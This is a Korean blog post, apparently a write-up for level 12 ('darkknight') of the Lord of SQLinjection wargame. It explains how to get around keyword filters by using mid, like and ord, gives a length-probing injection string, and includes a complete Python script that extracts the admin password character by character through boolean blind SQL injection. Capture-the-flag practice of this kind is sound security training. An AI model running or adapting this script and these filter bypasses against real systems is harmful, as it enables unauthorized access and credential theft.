Notice
Recent Posts
Recent Comments
Link
일 | 월 | 화 | 수 | 목 | 금 | 토 |
---|---|---|---|---|---|---|
1 | 2 | 3 | 4 | 5 | 6 | 7 |
8 | 9 | 10 | 11 | 12 | 13 | 14 |
15 | 16 | 17 | 18 | 19 | 20 | 21 |
22 | 23 | 24 | 25 | 26 | 27 | 28 |
29 | 30 | 31 |
Tags
- 자바 has-a
- sqlinjection
- APM
- 자바 is-a
- 스프링구조
- 세션쿠키
- Lord of sqlinjection
- 스프링 특징
- XSS
- sql
- 스프링 종류
- 소켓
- 자바 문법
- lord of sqlinjectin
- 세션
- 자바 Array list
- 스프링
- 자바
- injection
- 웹 개발
- php
- lord of sqlinjection`
- 마이크로서비스 아키택트
- 쿠키
- 해킹
- 서버
- 보안
- Los
- 클라이언트
- 웹
Archives
- Today
- Total
LJ
Lord of SQLinjection ( 12번 ) darkknight 본문
12번 다크 나이트 문제이다.
위의 코드를 보면 첫번째 쿼리에선
prob, _, ., ()
문자가 포함된 경우 "No Hack _" 메시지를 출력하고 종료하게 되고
' 문자가 포함된 경우 "HeHe" 메시지를 출력하고 종료하게 되고
마찬가지로 ', substr, ascii, = 문자가 포함된 경우 "HeHe" 메시지를 출력하고 종료하는데 검사하는 파라미터는 이 조건 하
나만 no의 파라미터이다.
우리는 no 값 뒤에
인젝션을 시도하여 원하는 관리자의 비밀번호를 가져올 것이기 때문에
마지막 입력값 검증 조건이었던 ', substr, ascii, = 를 사용하지 않아야한다.
그러면 substr 을 대신 할 함수 -> substring, mid 가 있다.
= 도 like를 대신해 사용한다.
MID(문자, 시작 위치, 가져올 갯수);
-- 또는 SUBSTR(문자, 시작 위치, 가져올 갯수);
-- 또는 SUBSTRING(문자, 시작 위치, 가져올 갯수);
(Mysql)
ascii함수는 ord로 대체하여 사용한다.
ORD : 아스키 코드 값을 반환하는 함수
(문자열의 가장 왼쪽 문자가 멀티바이트 문자일 경우, 공식을 이용해 계산하며 멀티바이트 문자가 아닐 경우에는 ASCII 함수와 동일하다.)
?no=0 OR id like \"admin\" AND length(pw)>{num} %23
길이를 알아내는 쿼리
import requests
def check_length(url,cookie):
head={"PHPSESSID":f"{cookie}"}
print("비밀번호 문자열 길이 확인중...")
for num in range(0,30):
param=f"?no=0 OR id like \"admin\" AND length(pw)>{num} %23"
mine=url+param
res=requests.get(mine,cookies=head)
if ("Hello admin" not in res.text):
return num
def check_pw(url,cookie,length):
head = {"PHPSESSID":f"{cookie}"}
jjang=""
for len in range(1, length+1):
print(f"{len}번째 비밀번호 확인중...")
for pw in range(32,127):
param=f"?no=0 OR id like \"admin\" AND ord(mid(pw,{len},1))>{pw} %23"
mine=url+param
res=requests.get(mine, cookies=head)
if("Hello admin" not in res.text):
print(f"{len}번째 문자 ->{chr(pw)}")
jjang+=chr(pw)
break
return jjang
if __name__ == "__main__":
print (" 블라인드 공격 시작 ")
url=input("URL:")
cookie=input("cookie:")
length=check_length(url,cookie)
print(f"비밀번호의 길이는 {length}입니다.")
jjang=check_pw(url,cookie,length)
print(f"비밀번호는 {jjang}입니다!!!!!!!!")
exit
비밀번호 알아내는 파이썬 스크립트 코드이다
성공적으로 비밀번호를 알아내었다.
'IT 보안 > 보안첼린지' 카테고리의 다른 글
Lord of SQLinjection ( 14번 ) giant (0) | 2024.06.08 |
---|---|
Lord of SQLinjection ( 13번 ) bugbear (0) | 2024.06.08 |
Lord of SQLinjection ( 11번 ) golem (0) | 2024.05.28 |
Lord of SQLinjection ( 9번 ) vampire (0) | 2024.05.23 |
Lord of SQLinjection ( 8번 ) troll (0) | 2024.05.23 |
Comments